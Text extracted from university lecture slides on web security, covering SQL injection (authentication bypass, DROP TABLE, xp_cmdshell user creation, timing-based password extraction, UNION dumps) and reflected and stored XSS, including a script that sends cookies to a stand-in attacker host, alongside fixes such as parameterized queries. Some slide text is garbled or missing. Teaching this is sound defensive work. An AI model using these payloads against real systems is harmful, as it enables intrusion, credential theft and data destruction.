CSE 40567 / 60567: Computer Security

Web Security 2
Homework #8 Released
Due: 5/2/17 at 11:59PM Eastern Time

See Assignments Page on the course website for details
Course Instructor Feedback (CIF)
Deadline: 11:59PM, 5/7/17

How'm I doin'?
Final Exam: Tuesday, May 9th
7:30pm - 9:30pm, DBART 126

Come prepared with questions
next Tuesday
SQL Injection “workflow”

1. Post Malicious Form
2. Unexpected SQL Query
3. Receive Valuable Data
Example: login page (ASP)

```asp
set ok = execute("SELECT * FROM Users
    WHERE user=' " & form("user") & " ' 
    AND pwd=' " & form("pwd") & " '");

if not ok.EOF
    login success
else fail;

Is this code exploitable?
```
Normal Query

Enter Username & Password

SELECT * FROM Users
WHERE user='walter'
AND pwd='1234'
Bypassing the authentication check

What happens if \texttt{user} = " ' or 1=1 -- " ?

(URL encoded)

The app will do the following:

\texttt{ok} = \texttt{execute( SELECT ... WHERE user= ' ' or 1=1 -- ... )}

Causes the rest of the line to be ignored
Bypassing the authentication check

ok.EOF implies the SQL query didn’t return anything

if not ok.EOF 1=1 means this will always be false
login success
else fail;

Authentication succeeds without actually checking any records
Denial of Service

What if `user = " '; DROP TABLE Users -- "`?

(URL encoded)

The app will do the following:

```python
ok = execute( SELECT ...
    WHERE user= ' '; DROP TABLE Users -- ...
)
```

- User table is deleted; legitimate users can no longer login
- With this methodology, it is possible to add users, reset passwords, etc.
Remote command execution

What if `user = ''; exec cmdshell 'net user mallory mallorypwd' / ADD --''`?

(URL encoded)

The app will do the following:

```python
ok = execute( SELECT ... WHERE user= ''; exec ... )
```

If the SQL server context runs with privilege, attacker will get an account on that server
What was the underlying cause of the security problems in the previous few examples?

**Incorrectly filtered escape characters**

Certain characters have special meaning in SQL:

\x00, n, r, ', " and \x1a

Correctly escaping these characters prevents the bug:

\x00, \n, \r, \', \" and \x1a
General strategies for avoiding SQL injection

Avoid building SQL commands yourself

- Use parameterized / prepared SQL
- Use Object-relational mapping (ORM) framework
Fix for ASP: Parameterized SQL (ASP.NET 1.1)

Guarantees SQL arguments are properly escaped:

```csharp
SqlCommand cmd = new SqlCommand("SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection);
cmd.Parameters.Add("@User", Request[“user”] );
cmd.Parameters.Add("@Pwd", Request[“pwd”] );
cmd.ExecuteReader();
```

Incorrect type handling

Programmer forgets to check input for type:

```python
statement =  "SELECT * FROM Users WHERE id =" + var + ";"
```

should only be numeric

Attacker’s string:

```
1; DROP TABLE users
```

Resulting SQL statement:

```sql
SELECT * FROM Users WHERE id=1; DROP TABLE users;
```
Blind SQL Injection

Web application is vulnerable to SQL injection, but attacker cannot see results

Attacker’s strategy: ask the DB “true or false” questions and determine the answer based on the application’s response

Example: news site with article ID parameter

Maps to this SQL query:
```
SELECT title, description, body FROM items
WHERE ID = 2
```
Blind SQL Injection

Attacker’s query:
http://news.com/items.php?id=2 and 1=2

Corresponding SQL query:
SELECT title, description, body FROM items
WHERE ID = 2 and 1=2

inject query that should return ‘false’

What does the application return?
Blind SQL Injection

Attacker’s second query to verify a SQL injection bug is present:
http://news.com/items.php?id=2 and 1=1

inject query that should return ‘true’

What does the application return?
Blind SQL Injection: Timing-based attack

Attacker forces the DB to pause for a specific amount of time, and then return results

Enumerate data possibilities:

If the first letter of the first database's name is an 'A', wait for 10 seconds.

If the first letter of the first database's name is a 'B', wait for 10 seconds.
Blind SQL Injection: Timing-based attack

Queries must be DB-specific for this attack

Microsoft SQL Server:
http://www.site.com/vulnerable.php?id=1'
waitfor delay '00:00:10'--

MySQL:
SELECT IF(expression, true, false)
Using some time consuming operation to delay the server response when true:
BENCHMARK(5000000, ENCODE('MSG','by 5 seconds'))
execute ENCODE 5000000 times!
Blind SQL Injection: Timing-based attack

Cracking passwords in the DB:

```sql
1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50), BENCHMARK(5000000, ENCODE('MSG','by 5 seconds')), null) FROM users WHERE user_id = 1;
```

Specify target strings and check the timing:

```sql
(CHAR(50) == '2')
```

The names of the tables and the number of columns are specified in this example.

> Possible to guess or check with trial and error
Remote DB Fingerprinting

Recall that queries must be DB-specific for the timing attack

MySQL: \texttt{BENCHMARK()}
MS SQL: \texttt{'WAIT FOR DELAY '0:0:10}
PostgreSQL: \texttt{pg\_sleep()}

If a delay occurs, DB can be identified.

This can also be done with date-specific functions:

MySQL: \texttt{now()}
MS SQL: \texttt{getdate()}
Oracle: \texttt{sysdate()}
What about other common web programming languages?

**PHP Example #1: Incorrectly splitting a result set into pages (PostgreSQL)**

```php
<?php

$offset = $argv[0];
$query  = "SELECT id, name FROM products ORDER BY
name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);

?>
```

Attacker’s query for PHP example #1

```php
<?php

$offset = $argv[0];
$query  = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);

?>

Append a `urlencode()`'d form of the following to the URL:

```
SQL Injection: PHP

PHP Example #2: Incorrectly listing pages

```php
<?php

$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";
$result = odbc_exec($conn, $query);

?>
```

Static part of query can be combined with another SELECT statement
<?php

$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size';"
$result = odbc_exec($conn, $query);

?>

Leverage $size to attempt to reveal all passwords.

union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;--
SQL Injection: PHP

PHP Example #3: Incorrectly resetting a password

```php
<?php
$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
?>
```

Path to privilege escalation
Attacker’s queries for PHP example #3

<?php

// $uid: ' or uid like '%admin%' (change admin’s pwd)
$query = "UPDATE usertable SET pwd='...' WHERE uid=''
or uid like '%admin%';";

// $pwd: Owned', trusted=100, admin='yes (privilege // escalation)
$query = "UPDATE usertable SET pwd='Owned',
trusted=100, admin='yes' WHERE ...;";

?>
SQL Injection: PHP

PHP Example #4: Bug facilitates access to underlying OS of DB host (MSSQL)

```php
<?php
$query = "SELECT * FROM products WHERE id LIKE '%%$prod%%'";
$result = mssql_query($query);
?>
```

What if we try to force a shell invocation from here?
Attacker’s queries for PHP example #4

```php
<?php
$(query = "SELECT * FROM products WHERE id LIKE '%%prod%'";
$result = mssql_query($query);
?>

xp_cmdshell (not enabled by default) will invoke a shell

<?php
$(query = "SELECT * FROM products
WHERE id LIKE '%a%
exec master..xp_cmdshell 'net user test
testpass /ADD' --%");
$result = mssql_query($query);
?>
```
Real-world PHP Example: Wordpress

https://bugzilla.redhat.com/show_bug.cgi?id=1250583

Vulnerable `wp_untrash_post_comments` function

```php
foreach ( $group_by_status as $status => $comments ) {
    // Sanity check. This shouldn't happen.
    if ( 'post-trashed' == $status )
        $status = '0';
    $comments_in = implode( '\', \',\', $comments );
    $wpdb->query( "UPDATE $wpdb->comments SET
                  comment_approved = '$status' WHERE
                  comment_ID IN ('" . $comments_in . "')" );
}
```
Real-world PHP Example: Wordpress

Origin of $comments? The $group_by_status variable from this code snippet:

```php
// Restore each comment to its original status.
$group_by_status = array();
foreach ($statuses as $comment_id => $comment_status )
    $group_by_status[$comment_status][] = $comment_id;
```

$_statuses comes from:

```php
$statuses = get_post_meta($post_id, '_wp_trash_meta_comments_status', true);
```

Bug: we expect numerical IDs for $post_id, but the table this data comes from can hold any type!
Fixes for PHP

• Add an explicit type check (`is_numeric()`, `ctype_digit()`)

• If the application waits for numerical input, consider:
  ‣ verifying data: `ctype_digit()`,
  ‣ or silently change its type: `settype()`,
  ‣ or use its numeric representation: `sprintf()`

```php
settype($offset, 'integer');
$query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";

$query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;", $offset);
```
Fixes for PHP

• `addslashes()` is not sufficient to escape args.
  ‣ Unicode characters can get around it

• Quote each non numeric user supplied value that is passed to the database with a database-specific string escape function
  ‣ `mysql_real_escape_string()`
  ‣ `sqlite_escape_string()`
What about other common web programming languages?

Python Example: DB update

Vulnerable:

```python
cmd = "update articles set name='\{0\}' where id='\{1\}'".format(name, id)
curs.execute(cmd)
```

Correct (SQLite):

```python
cmd = "update articles set name=? where id=?"
curs.execute(cmd, (name, id))
```

For MySQL or PostgreSQL, use %s instead of ?
Vulnerabilities in Web Software: Cross-site Scripting
Understanding XSS

• Occurs when an attacker can inject scripting code into pages generated by a web application

• Methods for injecting malicious code:
  ‣ Reflected XSS
  ‣ Stored XSS
  ‣ Others, such as DOM-based attacks
Basic Scenario: Reflected XSS Attack

1. visit website
2. receive malicious link
3. click on link
4. echo user input
5. send valuable data
XSS Example: Victim Site

Search field on victim server:

Server-side implementation of search.php:

```html
<HTML> <TITLE> Search Results </TITLE> <BODY>
Results for `$_GET[term]` :
. . .
</BODY> </HTML>
```

echo search term into response
Cleverly crafted malicious input

What if a user clicks on the following link?


1. Browser goes to victim.com/search.php
2. Victim.com returns:
<HTML> Results for <script> ... </script>
3. Browser executes script:
Sends mallory.com cookie for victim.com
Attack workflow: Reflected XSS

Client

User gets bad link

User clicks on link

Victim echoes user input

Victim Server

www.victim.com

<html>
Results for
<script>
window.open(http://mallory.com?
... document.cookie ...)
</script>  </html>

www.mallory.com

http://victim.com/search.php ?
term = <script> ... </script>
Basic Scenario: Reflected XSS Attack (email)

1. collect email addr.
2. send malicious email
3. click on link
4. echo user input
5. send valuable data
Case study: 2006 Vulnerability

- Well-crafted phishing emails designed to fool Paypal users into accessing a URL on the legitimate PayPal website were deployed.
- Injected code redirected the users to a page warning them that their account had been compromised.
- The users were then redirected to a phishing site and prompted to enter sensitive financial data.

Stored XSS Attack

1. Inject malicious script
2. request content
3. receive malicious script
4. steal valuable data
Stored XSS using images

What if photo.jpg on a webserver contains HTML?

Request for http://site.com/photo.jpg results in:

```
HTTP/1.1 200 OK
...
Content-Type: image/jpeg
<html> Not a real image </html>
```

Some browsers will render this as HTML (despite Content-Type)

Consider photo sharing sites that support image uploads:
  ▸ What if the image is a script?